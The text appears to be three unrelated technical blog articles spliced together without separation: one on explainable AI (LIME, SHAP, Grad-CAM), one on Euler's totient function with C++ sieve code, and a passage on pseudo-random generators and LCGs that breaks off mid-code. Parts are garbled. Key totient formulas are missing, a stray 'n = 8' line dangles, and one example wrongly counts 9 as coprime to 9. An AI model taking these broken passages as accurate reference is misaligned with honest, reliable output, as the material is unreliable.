Why should we know how AI makes decisions?

Imagine getting turned down for a loan without being given a reason. You probably want to know why—was it because of your income, credit score, or something else? This is precisely the problem with contemporary AI systems, which are frequently referred to as "black boxes." Although they don't always explain their decision-making process, they can be quite correct. Why, then, is it so crucial that we comprehend AI's logic? Let’s dive:

1. Trust and Adoption of AI:

   If a doctor recommended a course of treatment without providing an explanation, would you believe them? Most likely not. AI is no different. Trust is increased when AI judgments are understood. For instance, AI models are being utilized more and more in the medical field to help with diagnosis. Both patients and physicians must comprehend the reasoning behind a medical AI's prediction that a patient is in danger of contracting an illness. Is it because of other medical records, age, lifestyle, or family history? Even if AI systems work effectively, people are reluctant to rely on them in the absence of this openness.
   Lipton's 2016 study "The Mythos of Model Interpretability" asserts that the idea of interpretability is essential since it fosters confidence in artificial intelligence. Lipton makes a distinction between transparency (knowing how the model functions within) and post-hoc justifications, which provide an explanation for a person's choice after it has been made. For AI systems to be widely used, especially in delicate situations where people's lives are at stake, both are required.

2. Ethical Concerns: Bias and Fairness

   Another important reason we must comprehend how AI systems make decisions is the bias issue. Because AI models are trained on historical data, they may occasionally inherit the biases present in that data. We might never be able to identify instances of unjust AI decision-making without explicit justifications.
   AI models are used, for instance, in criminal justice to forecast recidivism, or the likelihood that an individual would commit the same crime again. However, a number of studies have demonstrated that these models may be skewed against particular socioeconomic or racial groups. These biases could go unnoticed and result in unjust treatment if we are unable to comprehend or explain the reasoning behind the model. A study on the COMPAS (Correctional Offender Management Profiling for Alternative Sanctions) tool, which is used in U.S. courts to estimate the chance of reoffending, provides a real-world example of bias in AI recidivism models. Even after adjusting for comparable prior offenses and profiles, a 2016 ProPublica analysis found that COMPAS disproportionately predicted a higher recidivism probability for Black defendants than for white defendants. This prejudice demonstrated how AI models can unintentionally reinforce racial inequality, raising questions about justice in the criminal justice system.
   In their 2016 work "Why Should I Trust You?," Ribeiro et al. presented the LIME (Local Interpretable Model-agnostic Explanations) technique, which enables users to create straightforward, understandable models that provide an explanation for each of a complex AI system's individual predictions. LIME, for instance, might provide transparency and aid in identifying potential biases by explaining why an AI model projected that a defendant is likely to commit another crime.

3. Regulatory Requirements

   As AI becomes integral to decision-making processes, regulatory bodies are demanding transparency. The EU's General Data Protection Regulation (GDPR), for example, grants individuals the right to an explanation when subjected to automated decisions. This legal framework is vital for ensuring accountability in AI systems. This growing demand for explainability is also seen in fields like finance and healthcare, where there are strict legal requirements to justify decisions. Selbst et al. (2017) discuss the social and legal dimensions of explainable AI in their paper "The Right to Explanation: A Socio-Legal Perspective on Explainable AI." They argue that transparency is not just a technical challenge but also a necessary component for the ethical and lawful deployment of AI.

4. Error Detection and Accountability

   No AI system is perfect. Even the best-performing models can make mistakes, but without understanding how those mistakes were made, it's difficult to improve the model. In life-critical areas like autonomous driving, errors can lead to disastrous consequences. If an autonomous vehicle misinterprets an object on the road and causes an accident, engineers need to pinpoint why the AI made that decision in order to prevent it from happening again.

   Similarly, in finance, AI models that predict stock market trends or approve loans need to be auditable so errors can be traced back to specific features or data points.

Origin And Evolution Of XAI

Now that we know how important it is to understand the reasoning behind AI models, let’s learn about the origin of explainability techniques!

The Rise of Interpretable Models: Decision Trees and Early Methods (1980s–2000s)

In the early development of AI and machine learning, the models were built with a strong emphasis on interpretability. During this era, simple models like decision trees and regression models became foundational tools because of their transparency. These models allowed humans to understand how and why a machine arrived at a specific decision, an essential feature when AI was being used in high-stakes fields like medicine, finance, and education.

Key Paper: Induction of Decision Trees by Quinlan, J. R. (1986)
J.R. Quinlan's work on decision trees was one of the most significant turning points in the development of interpretable models. Quinlan established the foundation for later advancements in decision trees with the introduction of the ID3 method in his 1986 publication, Induction of Decision Trees.
Similar to a flowchart, a decision tree has nodes that indicate decisions based on features, branches that reflect outcomes, and leaf nodes that represent classes or decisions (approval of a loan, for example). This structure's openness is its greatest asset; it allows you to track a decision's precise trajectory, which makes it simple to explain to both technical and non-technical people.

Example: A decision tree may pose the following queries as part of a loan approval system:
A) Does the applicant have a credit score higher than 700?
B) Does the income exceed $50,000?

The model makes a decision (allow or deny the loan) based on the answers to these questions. Users can trust the model's decisions because each step is rational and transparent.

Logistic Regression and Linear Regression: Initial Transparent Models
Because of their ease of use and interpretability, models such as logistic regression and linear regression were also widely utilized in addition to decision trees. By using coefficients to illustrate how each input information affected the prediction, these models provided transparency.
For instance, the square footage coefficient in a linear regression model that forecasts home prices explicitly explains how the price of a home varies significantly with each square foot added. These models were ideal for early AI systems when interpretability was a top priority because of their high degree of transparency.

Key Paper: Random Forests by Breiman, L. (2001)
Decision trees tended to overfit the data, which meant they might perform poorly on unseen data, despite their great interpretability. Leo Breiman developed Random Forests, an ensemble technique that integrated several decision trees to increase accuracy and robustness, in 2001 to address this issue.
However, the accuracy vs. interpretability trade-off started with Random Forests. Random Forests increased prediction accuracy by combining the choices of numerous decision trees, but at the expense of transparency—it became much more difficult to comprehend how the model arrived at particular conclusions when hundreds of trees were being employed.

The Argument Between Interpretability and Accuracy
A crucial trade-off was brought to light by the creation of models such as Random Forests: improving accuracy frequently came at the expense of interpretability. Concern over machine learning systems’ "black box" nature grew as models got increasingly intricate. Users and decision-makers desired systems that could clearly explain their forecasts in addition to being correct.

As the discipline started to struggle with striking a balance between performance and transparency, this tension set the stage for future research into explainable AI (XAI) techniques.

Conclusions from This Era:

• Transparency: Early models, like as regression and decision trees, were simple to understand but had limited complexity.

• Performance Limits: Due to their simplicity, these models performed poorly on extremely difficult problems.

The Start of Trade-offs: Breiman's Random Forests showed that increasing accuracy frequently meant sacrificing interpretability, laying the groundwork for later debates on the necessity of explainable AI.

The Black Box Problem and the Birth of Interpretability Concerns (2010s)

As AI evolved, so did its complexity. In the 2010s, AI experienced a major shift with the rise of Neural Networks and Deep Learning. These models were incredibly powerful—capable of analyzing vast amounts of data and making highly accurate predictions. But there was one big problem: no one could really explain how these models made decisions. This created what we now call the black box problem.

Rise of Complex Models and Deep Learning

The 2010s marked the Deep Learning revolution. Neural networks became the go-to models for tasks like image recognition, speech processing, and even playing complex games. These models thrived on huge datasets and powerful hardware, but there was a trade-off: the more complex they got, the harder it became to understand their decision-making process.

Think about it—if an AI system tells you that someone is denied a loan or diagnosed with a disease, you’d want to know why. Yet, with deep learning, the decisions often felt like they were coming from a “black box” where we couldn’t see or interpret what was going on inside. And this is where the problem escalates, especially in critical areas like healthcare, finance, and law, where fairness and transparency are non-negotiable.

Understanding the Need for XAI

To address this, researchers began to focus on how to interpret these complex models, giving rise to the field of Explainable AI (XAI). But what does interpretability really mean? This is where Lipton's (2016) paper, "The Mythos of Model Interpretability," plays a crucial role.

Lipton laid out two key types of interpretability:

• Transparency: This refers to understanding how the model works from the inside out. For example, in simpler models like decision trees, every step of the process is visible.

• Post-hoc explanations: Since deep learning models are far too complex to be transparent, we often rely on post-hoc methods, which explain individual decisions after the fact. Instead of understanding the whole model, we get an explanation of why a specific decision was made.

Lipton's paper also introduced the idea of model-specific vs. model-agnostic explanations:

Model-specific techniques are tailored to particular algorithms, providing deeper insights into certain models.

Model-agnostic techniques, on the other hand, can explain decisions from any model, even if we don’t fully understand how the model itself works

The Emergence of XAI Methods (2016–2019)

The years between 2016 and 2019 marked a transformative period in the development of Explainable AI (XAI) methods. As AI systems became more prevalent in critical applications such as healthcare, finance, and criminal justice, the need for transparency and interpretability grew increasingly urgent. Researchers responded by introducing a variety of innovative techniques designed to elucidate the decision-making processes of complex machine-learning models.

Model-Agnostic Techniques

One of the pivotal contributions during this period was made by Ribeiro et al. in their 2016 paper, "Why Should I Trust You? Explaining the Predictions of Any Classifier." This work introduced LIME (Local Interpretable Model-agnostic Explanations), a technique that allows for the interpretation of any black-box model.

How LIME Works:

1. Locality: LIME focuses on making predictions interpretable for individual instances rather than the entire dataset. It generates a simplified model around the prediction to explain it effectively.

2. Perturbation: It creates a dataset of perturbed instances by tweaking the original input features slightly.

3. Fitting a Simple Model: A simpler model (like a linear model) is then trained on this perturbed data to approximate the complex model's behavior in that local region.

Importance of LIME:

• Local Interpretability: LIME focuses on generating explanations for individual predictions rather than the model as a whole. It does this by approximating complex models with simpler, interpretable ones in the vicinity of the prediction of interest. This is particularly valuable in applications like credit scoring, where a customer may want to understand why their loan was denied.

• Example:

  

  This example showcases how LIME (Local Interpretable Model-agnostic Explanations) explains a text classifier's decision. The task is to classify a document as either "atheism" or "Christian."

  The classifier's prediction probabilities are 0.58 for atheism (blue) and 0.42 for Christian (orange).

  Keywords in the text are highlighted in blue and orange, showing their contribution to the predictions.

  • Blue words like "NNTP" and "Host" support the "atheism" classification.

  • Orange words would contribute to the "christian" classification, though none are visible here.

LIME shows how removing words like "Host" and "NNTP" reduces the probability of predicting atheism from 0.58 to 0.31, explaining how specific words influence the classifier’s output.

This image displays an example of LIME (Local Interpretable Model-agnostic Explanations) applied to a digit recognition model for the MNIST dataset. The model is tasked with identifying the digit "8," but LIME shows the parts of the image that influence the model’s predictions for each class (0 through 9).

• The "Actual 8" means the true label is an 8.

• Each panel shows which parts of the image (in color) contribute to a positive prediction for each digit. For example:

  • The panel labeled "Positive for 0" highlights no significant regions, meaning the model doesn't strongly predict "0."

  • The panel for "Positive for 5" shows the lower-left part of the image influencing the model to predict a "5."

  • The panel for "Positive for 8" highlights the areas the model uses to correctly predict the digit as "8."

LIME visualizes how different regions of the image drive predictions for various digits, explaining the decision-making of the model for this specific image.

Credits: https://github.com/marcotcr/lime?tab=readme-ov-file

Game-Theoretic Approaches

Another significant advancement in XAI methods was introduced by Lundberg & Lee (2017) in their paper, “SHAP: A Unified Approach to Interpreting Model Predictions.” This paper introduced SHAP (SHapley Additive exPlanations), a method rooted in Shapley values from cooperative game theory.

How SHAP Works:

• SHAP assigns each feature an importance value based on its contribution to the prediction, allowing for both global and local interpretability.

• The Shapley value is calculated by considering all possible combinations of features and evaluating how the inclusion of a specific feature changes the prediction.

  

  Key Aspects of SHAP

  1. Shapley Values:

     • SHAP calculates the contribution of each feature to the prediction based on the average marginal contribution of that feature across all possible combinations of features. This provides a theoretically sound basis for interpreting model predictions.

     • The formulation ensures that the contributions are fairly distributed among features, reflecting their actual impact on the model’s output.

  2. Additivity:

     • The SHAP framework maintains an additive property, meaning that the sum of the SHAP values across all features equals the difference between the model's prediction and the average prediction of the model. This ensures consistency and enhances interpretability.

  3. Unified Framework:

     • SHAP provides both local (individual prediction) and global (overall feature importance) interpretability, offering a comprehensive view of how features influence model predictions across different contexts.

Advantages of SHAP

• Consistency: SHAP's use of Shapley values ensures that if a model changes in such a way that a feature's importance increases, its SHAP value will also increase, thereby providing consistent explanations.

• Fairness: By considering all possible combinations of features, SHAP provides a fair attribution of contributions to each feature, avoiding biases that may arise from simpler methods.

• Interpretability: SHAP values are easy to interpret, as they directly indicate how much each feature contributes to the final prediction. This makes it easier for stakeholders to understand model decisions, especially in high-stakes fields like healthcare and finance.

• Model-Agnostic: SHAP can be applied to any machine learning model, allowing it to be used in various applications without the need for extensive modifications to the model architecture.

Example :

import xgboost
import shap

# train an XGBoost model
X, y = shap.datasets.california()
model = xgboost.XGBRegressor().fit(X, y)

# explain the model's predictions using SHAP
# (same syntax works for LightGBM, CatBoost, scikit-learn, transformers, Spark, etc.)
explainer = shap.Explainer(model)
shap_values = explainer(X)

# visualize the first prediction's explanation
shap.plots.waterfall(shap_values[0])

The California Housing dataset is a commonly used dataset for regression tasks, available in libraries like sklearn and shap. It contains information about various houses in California and is often used to predict house prices based on several features.

The SHAP waterfall plot visually explains how the features of a specific house (one row in the dataset) contributed to the model's prediction for that house's price.

Key Elements of the Plot:

1. f(x) = 4.413:

   • This is the model's final prediction for the specific house. It’s the predicted house price (in log scale or normalized value) for the given data instance.

2. E[f(x)] = 2.068:

   • This is the expected prediction, i.e., the average prediction that the model makes across all houses in the dataset. It's essentially the baseline prediction or base value.

   • All the contributions (positive and negative) from the features are added to this baseline to arrive at the final prediction (f(x) = 4.413).

3. SHAP Values:

   • SHAP values explain the magnitude and direction of the impact that each feature has on the prediction. Positive SHAP values (red bars) push the prediction higher, while negative SHAP values (blue bars) push the prediction lower.

     Summary:

     • MedInc (Median Income) has the largest positive impact on the predicted price, making the prediction of house prices much higher than the average.

     • Longitude and Latitude also play important roles, but Longitude pushes the prediction up, while Latitude decreases it slightly.

     • AveRooms, HouseAge, and Population have smaller effects but still contribute to the overall prediction.

     • Features like AveOccup and AveBedrms don’t affect the prediction for this specific house at all.

This plot helps you understand why the model made this particular prediction, breaking down the contribution of each feature in a way that's easy to interpret.

Credits: https://github.com/shap/shap?tab=readme-ov-file

Visualization Techniques for Deep Learning

As deep learning models, especially Convolutional Neural Networks (CNNs), have gained popularity in tasks such as image classification and object detection, the need for effective visualization techniques to interpret these models has become paramount. Understanding how these models make predictions is essential for trust and accountability, especially in critical applications like healthcare and autonomous driving. This section explores key visualization techniques that have emerged, with a focus on Grad-CAM (Gradient-weighted Class Activation Mapping).

Grad-CAM: A Visual Explanation Technique

Introduced by Selvaraju et al. in their paper "Grad-CAM: Visual Explanations from Deep Networks via Gradient-Based Localization" (2017), Grad-CAM provides insights into the regions of an input image that contribute most significantly to a model's predictions.

How Grad-CAM Works

1. Gradient Computation: Grad-CAM uses the gradients of the predicted class score concerning the final convolutional layer's feature maps. These gradients indicate how much the output score would change if the feature maps were perturbed.

2. Weighting Feature Maps: The gradients are averaged to produce a weight for each feature map, highlighting which feature maps are most influential in making the prediction.

3. Generating Heatmaps: The weighted feature maps are combined to create a heatmap, which shows the importance of each region in the input image concerning the predicted class.

4. Superimposing the Heatmap: The heatmap can be overlaid on the original image to provide a visual representation of which parts of the image contributed to the model's decision.

   Advantages of Grad-CAM

   • Localization: Grad-CAM not only shows which features are important but also highlights their spatial locations in the input image. This is particularly useful for tasks like object detection and segmentation.

   • Model-Agnostic: Grad-CAM can be applied to any CNN architecture, making it a versatile tool for interpreting deep learning models across different domains.

   • Intuitive Visualization: The generated heatmaps provide an intuitive understanding of model behavior, enabling practitioners to correlate model predictions with visual cues in the input data.

Grad-Cam + Guided Backpropagation

This diagram appears to illustrate the process of visual explanations using Grad-CAM (Gradient-weighted Class Activation Mapping) and Guided Backpropagation for interpretable deep learning in various tasks, such as image classification, image captioning, and visual question answering (VQA).

Source: https://arxiv.org/pdf/1610.02391

Key Components of the Diagram:

1. Input and CNN:

   • The image (in this case, a picture of a dog and a cat) is fed into a Convolutional Neural Network (CNN).

   • The CNN generates feature maps at different layers of the network. These maps capture the hierarchical features of the image (e.g., edges, textures, and objects).

2. Guided Backpropagation:

   • This is a visualization technique used to understand how much each pixel in the input image contributes to the final prediction. It combines regular backpropagation with ReLU (Rectified Linear Units) non-linearity.

   • In the diagram, the Guided Backpropagation results in an image-like visualization that highlights important features of the image that influence the model's prediction.

3. Grad-CAM (Gradient-weighted Class Activation Maps):

   • Grad-CAM uses the gradients of the target class flowing into the final convolutional layer to produce a coarse localization map, highlighting important regions of the image.

   • This map shows which parts of the image contribute most to the prediction.

   • In the diagram, a heatmap (in red and blue) is generated, showing where the network focuses (e.g., on the animals in the image) during the task.

4. Combination of Grad-CAM and Guided Backpropagation:

   • By combining Guided Backpropagation and Grad-CAM, a more refined and detailed visualization is generated. This technique is called Guided Grad-CAM. It highlights both where and what CNN looks at when making its decision, providing more interpretable insights into how the network works.

   • The top section of the diagram shows this combination.

5. Task-Specific Network:

   • The extracted rectified convolutional feature maps are sent to a task-specific network to solve various vision tasks. These tasks are implemented using different architectures depending on the problem.

6. Backpropagation Till Conv:

   This means the backpropagation process occurs only up to the convolutional layers. It focuses on analyzing how much influence the convolutional features have on the output, stopping at this layer instead of backpropagating through the fully connected layers. This helps generate the Grad-CAM heatmap.

The Future of Explainable AI

As artificial intelligence becomes increasingly integrated into critical domains such as healthcare, finance, and law, Explainable AI (XAI) has emerged as a bridge between technical innovation and societal trust. Starting from early interpretable models like Decision Trees and Linear Regression, we have seen a shift to black-box deep learning models, which, while powerful, lack transparency. This evolution paved the way for XAI methods like LIME, SHAP, and visualization techniques such as Grad-CAM, providing ways to interpret and explain model behavior.

The importance of explainability is no longer a mere technical preference but a necessity for ethical, legal, and responsible AI deployment. Research highlights the risks of biases, lack of transparency, and accountability when models operate as black boxes, particularly in sensitive areas like hiring, loan approvals, and criminal justice.

The journey of XAI is far from over. While existing techniques offer valuable insights, challenges remain—such as scalability, the need for real-time explanations, and ensuring interpretability without sacrificing accuracy. Moving forward, advancements in XAI will not only make AI more transparent but also foster greater collaboration between machines and humans.

What is Euler’s Totient Function?

In number theory, Euler’s Totient Function counts the positive integers up to a given integer n that are relatively prime to n. It is the number of integers k in the range 1 ≤ k ≤ n for which the greatest common integer gcd(n,k) is equal to 1. The integers k of this form are sometimes referred to as totatives of n.

Definition

For any positive integer n, ϕ(n) is the count of integers k (where 1<=k<=n) such that GCD(n,k)=1.

For example, the totatives of n = 9 are the six numbers 1, 2, 4, 5, 7 and 8. They are all relatively prime to 9, but the other three numbers in this range, 3, 6, and 9 are not, since gcd(9, 3) = gcd(9, 6) = 3 and gcd(9, 9) = 9. Therefore, φ(9) = 6. As another example, φ(1) = 1 since for n = 1 the only integer in the range from 1 to n is 1 itself, and gcd(1, 1) = 1.

Formula for Euler’s Totient Function

To compute ϕ(n) effectively, we rely on the prime factorisation of n. If the prime factorisation of n is:

where p1,p2,…,pk are the distinct prime factors of n, then ϕ(n) is given by:

where the product is over the distinct prime numbers dividing n.

Explanation of the Formula

1. Effect of Prime Factors: If n is to be divided by a prime p then there are n/p multiples of the p’s till n or (p,2p,3p,…). The problem is these multiples are not coprime to n, thus we deduct this count for each distinct prime factor of n.

2. Product Form: The product form

   

   accounts for all distinct primes dividing n, and the multiplication by n adjusts the final count based on the fraction of numbers that are not divisible by any of these prime factors.

Also, Phi is a multiplicative function. This means that if gcd(m, n)=1

then φ(m).φ(n) = φ(m.n).

Proof of Euler’s Product Formula

1. The fundamental theorem of arithmetic expression states that unique expression,

where p₁ < p₂ < ... < p_r are prime numbers and each k_i ≥ 1 (The case when n = 1 corresponds to the empty product.). Repeatedly using the multiplicative property of φ and the formula for φ(p^k) gives

2. Proof of Multiplicativity:

Lemma: Let 𝑛1 and 𝑛2 be two coprime integers. A positive integer 𝑥≤𝑛1⋅𝑛2 is coprime to 𝑛1⋅𝑛2 if and only if 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛1,𝑛1) = 1 and 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛2,𝑛2)=1.

We can rephrase this lemma with two statements:

Firstly, for every pair of integers (𝑎1,𝑎2) such that 0≤𝑎1<𝑛1, 0≤𝑎2<𝑛2, 𝑔𝑐𝑑(𝑎1,𝑛1)=1, and 𝑔𝑐𝑑(𝑎2,𝑛2)=1, the integer 𝑥 corresponding to this pair is coprime to 𝑛1⋅𝑛2.

Secondly, for every integer 𝑥 in the interval [1,𝑛1⋅𝑛2] that is coprime to 𝑛1⋅𝑛2, its corresponding pair (𝑎1,𝑎2) has the following property: 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛1,𝑛1)=1 and 𝑔𝑐𝑑(𝑥 𝑚𝑜𝑑 𝑛2,𝑛2)=1.

Now, consider two coprime integers 𝑛1 and 𝑛2. We know that every number 𝑥 in the interval [1,𝑛1⋅𝑛2] that is coprime to 𝑛1⋅𝑛2 has its corresponding pair of integers (𝑎1,𝑎2) such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2. It also works the other way, every pair of integers (𝑎1,𝑎2) such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2 has its corresponding integer 𝑥 coprime to 𝑛1⋅𝑛2.

Therefore, the number of positive integers that are not greater than 𝑛1⋅𝑛2 and coprime to it is equal to the number of pairs (𝑎1,𝑎2) where 0≤𝑎1<𝑛1 and 0≤𝑎2<𝑛2 such that 𝑎1 is coprime to 𝑛1 and 𝑎2 is coprime to 𝑛2. The number of such pairs is obviously 𝜙(𝑛1)𝜙(𝑛2) since we can choose 𝑎1 in 𝜙(𝑛1) ways and 𝑎2 in 𝜙(𝑛2) ways. Thus, 𝜙(𝑛1⋅𝑛2)=𝜙(𝑛1)⋅𝜙(𝑛2).

Properties of Euler Totient Function

φ(n) the Euler Totient Function is full of impressive properties that qualify it to be a significant tool in number theory and cryptography. In the following section, we elaborate upon its key properties as a starting point of our analysis.

1. Prime Number Property: If p is a prime number, then every integer q such that 1 ≤ 𝑞 < 𝑝 is coprime with p. Therefore, the totient function for a prime number p is: 𝜙 ( 𝑝 ) = 𝑝 − 1. Example For 𝑝 = 7, a prime number, the integers less than 7 are 1, 2, 3, 4, 5, 6. All of these are coprime with 7, so: 𝜙 ( 7 ) = 6.

2. Multiplicative Property: The Euler Totient Function also has the property of multiplicative property Since m and n are coprime means they have a GCD of 1 then 𝜙 ( 𝑚 × 𝑛 ) = 𝜙 ( 𝑚 ) 𝜙 ( 𝑛 ) For instance we take 𝑚 = 4 and 𝑛 = 9 which are coprimes. We have: Like Euclid, 𝜙 ( 36 ) = 𝜙 ( 4 ) 𝜙 ( 9 ) = 2.6 = 12.

3. Prime Power Property: Prime Power Property: To compute the above for p^k, the totient function is

   

   The use of this property makes it easy to perform powers of primes. Example For 𝑝 = 3 and 𝑘 = 2, we have: 𝜙(3^2) = 3^2 − 3^(2 − 1) = 9− 3 = 6. Thus, it is possible to identify several values by considering that numbers 1, 2, 4, 5, 7, 8 and 9 have no common factors but 1.

4. Sum Over Divisors: Another fascination with the Totient Function is that it has an interesting property of summing to 𝑛 for all divisors 𝑑 of 𝑛: ∑ 𝑑 ∣ 𝑛 𝜙 ( 𝑑 ) = 𝑛. The property finds use in proofs, and solution to problems in number theory. For 𝑛 = 6, the divisors are 1, 2, 3 and 6 For 𝑛 = 8, the divisors are 1, 2, 4, and 8. We calculate: 𝜙 ( 1 ) = 1 , 𝜙 ( 2 ) = 1 , 𝜙 ( 3 ) = 2 , 𝜙 ( 6 ) = 2 . Thus: The sum of 𝜙 ( 1 ), 𝜙 ( 2 ), 𝜙 ( 3 ), 𝜙 ( 6 ) = 1 + 1 + 2 + 2=6.

Implementation

Naive Approach:

The naive approach involves iterating through all numbers from 1 to n and checking if each is coprime with n. This method is straightforward but inefficient for large n.

Efficient calculation of Totient function:

Implementation in O(√n):

int phi(int n) {
    int result = n;
    for (int i = 2; i * i <= n; i++) {
        if (n % i == 0) {
            while (n % i == 0)
                n /= i;
            result -= result / i;
        }
    }
    if (n > 1)
        result -= result / n;
    return result;
}

Introduction to the Sieve of Eratosthenes

The Sieve of Eratosthenes is a classic algorithm used to find all prime numbers up to a given limit. It works by iteratively marking the multiples of each prime number starting from 2. This method is efficient and runs in 𝑂 ( 𝑛 log ⁡ log ⁡ 𝑛 ).

#include <iostream>
#include <vector>

// Function to find all prime numbers up to n using the Sieve of Eratosthenes
std::vector<bool> sieveOfEratosthenes(int n) {
    std::vector<bool> isPrime(n + 1, true);
    isPrime[0] = isPrime[1] = false; // 0 and 1 are not prime numbers

    for (int p = 2; p * p <= n; ++p) {
        if (isPrime[p]) {
            for (int i = p * p; i <= n; i += p) {
                isPrime[i] = false;
            }
        }
    }
    return isPrime;
}

int main() {
    int n = 30;
    std::vector<bool> primes = sieveOfEratosthenes(n);
    std::cout << "Prime numbers up to " << n << " are: ";
    for (int i = 2; i <= n; ++i) {
        if (primes[i]) {
            std::cout << i << " ";
        }
    }
    std::cout << std::endl;
    return 0;
}

Adapting the Sieve for the Totient Function

Implementation of Euler’s Totient Function from 1 to n.

To calculate totient of all the numbers between 1 and n, we can use the same idea as Seive of Eratosthenes and the complexity is O(nloglogn).

void phi_1_n(int n){
    vector<int> phi(n+1);
    for(int i=0; i<=n; i++){
        phi[i]=i;
    }
    for (int i = 2; i <= n; i++) {
        if (phi[i] == i) {
            for (int j = i; j <= n; j += i)
                phi[j] -= phi[j] / i;
        }
    }
}

We can also find totient from 1 to n using the divisor sum property. This implementation uses Seive of Eratosthenes, but has more complexity: O(nlogn)

void phi_1_n(int n) {
    vector<int> phi(n + 1);
    phi[0] = 0;
    phi[1] = 1;
    for (int i = 2; i <= n; i++)
        phi[i] = i - 1;

    for (int i = 2; i <= n; i++)
        for (int j = 2 * i; j <= n; j += i)
              phi[j] -= phi[i];
}

Applications

1. Applications in Cryptography: The Euler Totient Function is crucial in RSA encryption, a widely used public-key cryptosystem. RSA's security relies on the difficulty of factoring large numbers and the properties of the Euler Totient Function. Specifically, it is used in the key generation process to ensure that the encryption and decryption keys are valid.

2. Application in Number Theory: The function is used in various proofs and theorems, including Euler's theorem, which states that for any integer a and n that are coprime, a^φ(n) ≡ 1 (mod n). This theorem is a generalization of Fermat's Little Theorem.

   Euler's theorem and Euler's totient function occur quite often in practical applications, for example both are used to compute the modular multiplicative inverse.

Example Problem

Problem Statement:

Prime(n) is defined as number of primes less than equal to n.

Totient(n) is defined as the number of positive integers less than or equal to n that are relatively prime to n.

F(n) = Prime(n) – Totient(n)

and we don’t like negative values, so if F(n) < 0, consider it as 0.

G(n) = Totient(n) ^ (Factorial (F(n)))

You are given a number n. You have to output G(n) % 10^9+7.

**Input:**First line consists of T, the number of test cases. Each of the next T lines contains one integer n.

**Output:**Output T lines each line containing the value of function G(n) % 10^9+7

Constraints: 1<=T<=100, 1<=n<=10000000

Solution:

#include <bits/stdc++.h>
using namespace std;

const int MOD = 1e9 + 7;
const int MAXN = 10000000;

vector<bool> isPrime(MAXN + 1, true);
vector<int> primeCount(MAXN + 1, 0);
vector<int> phi(MAXN + 1, 0);
vector<long long> factorial(MAXN + 1, 1);

void sieve(int n) {
    isPrime[0] = isPrime[1] = false;
    for (int i = 2; i <= n; i++) {
        if (isPrime[i]) {
            for (int j = i * 2; j <= n; j += i) {
                isPrime[j] = false;
            }
        }
    }
    for (int i = 1; i <= n; i++) {
        primeCount[i] = primeCount[i - 1] + isPrime[i];
    }
}

void phi_1_to_n(int n) {
    for (int i = 1; i <= n; i++) {
        phi[i] = i;
    }
    for (int i = 2; i <= n; i++) {
        if (phi[i] == i) {
            for (int j = i; j <= n; j += i) {
                phi[j] -= phi[j] / i;
            }
        }
    }
}

void compute_factorials(int n) {
    for (int i = 2; i <= n; i++) {
        factorial[i] = (factorial[i - 1] * i) % MOD;
    }
}

long long mod_exp(long long base, long long exp, long long mod) {
    long long result = 1;
    while (exp > 0) {
        if (exp % 2 == 1) {
            result = (result * base) % mod;
        }
        base = (base * base) % mod;
        exp /= 2;
    }
    return result;
}

int main() {
    sieve(MAXN);
    phi_1_to_n(MAXN);
    compute_factorials(MAXN);

    int T;
    cin >> T;
    while (T--) {
        int n;
        cin >> n;

        int prime_n = primeCount[n];
        int totient_n = phi[n];
        int F_n = max(0, prime_n - totient_n);
        long long G_n = mod_exp(totient_n, factorial[F_n], MOD);

        cout << G_n << endl;
    }

    return 0;
}

#include <stdio.h> 
#include <stdlib.h> 

int main() 
{
    int x = rand()%1000 + 1;
    printf("%d\n", x);
    return 0; 
}

You are at luck since we can “predict” that the code will always return 384. Continue reading the article to know why this happens.

What are random numbers and why do we care about them?

Random numbers are numbers that are generated in a way that they cannot be predicted and follow no pattern. Each number has an equal probability of being chosen.

In the world of cryptography, random numbers are fundamental in generating encryption keys and securing communication. If the random numbers used in cryptographic systems aren’t truly random or unpredictable, the entire system becomes vulnerable to attacks.

How to generate them?

There are mainly 2 types of random number generators(RNGs):

• Pseudo Random Number Generator (PRNG)

• True Random Number Generator (TRNG)

Pseudo Random Number Generators

These are numbers that appear random but are generated by deterministic processes, usually algorithms. They are called pseudorandom because, while they can mimic randomness, they are based on an initial seed value, and the sequence can be reproduced if the seed is known. This is widely used because true randomness is hard to achieve purely using code.

Seed value is a number which uniquely characterizes the sequence of random numbers. We can use the seed value to get back the sequence thus enabling us to predict future random numbers.

Examples for PRNGs include LCG, Mersenne Twister, Xorshift, and Middle Square Method. Let’s look into LCG:

Linear Congruence Generator (LCG)

It is one of the oldest and simplest PRNG algorithms. It is based on the following recurrence relation:

$$X_{n+1} = (aX_n + c)\mod m$$

Where:

$$X_n \text{ is the current number}$$

$$X_{n+1} \text{ is the next number}$$

$$a \text{ is the multiplier constant}$$

$$c \text{ is the increment constant}$$

$$m \text{ is the prime modulus}$$

This recurrence generates numbers in the interval 0 to m-1. We start off by choosing the first number of the sequence which is the seed and get the subsequent numbers by the recurrence.

For example:

Let:

$$X_1 = 11 \text{, } a = 3\text{, } c = 13 \text{ and } m = 67$$

#include <stdio.h> 
#include <stdlib.h>

int seed = 11;
int a = 3;
int c = 13;
int m = 67;

int LCG_next_number(int current_number){
    int next_number = (a*current_number + c)%m;
    return next_number;
}


int main() 
{
    int current_number = seed;
    int length = 10;
    for (int i = 0; i < length; i++)
    {
        printf("%d, ", current_number);
        int next_number = LCG_next_number(current_number);
        current_number = next_number;
    }
    printf("\n");
    return 0;
}

The first 10 numbers are: 11, 46, 17, 64, 4, 25, 21, 9, 40, 66

There are a few issues with this type of generation:

• Periodicity:

  Let’s look at the first 50 terms of this sequence:

  11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44, 11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44, 11, 46, 17, 64, 4, 25

  We can notice the numbers repeat after a certain point, i.e after the 22nd number, we repeat 11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44 forever. This is clearly bad for a RNG.

  The period is the number of values generated before the sequence starts repeating. The maximum period of an LCG is m, but in practice, the actual period is usually much shorter depending on the choice of parameters a, c, and m.

• Some numbers never appear:

  For the above parameters let’s count the frequency of numbers in the first 1000 numbers.

    #include <stdio.h> 
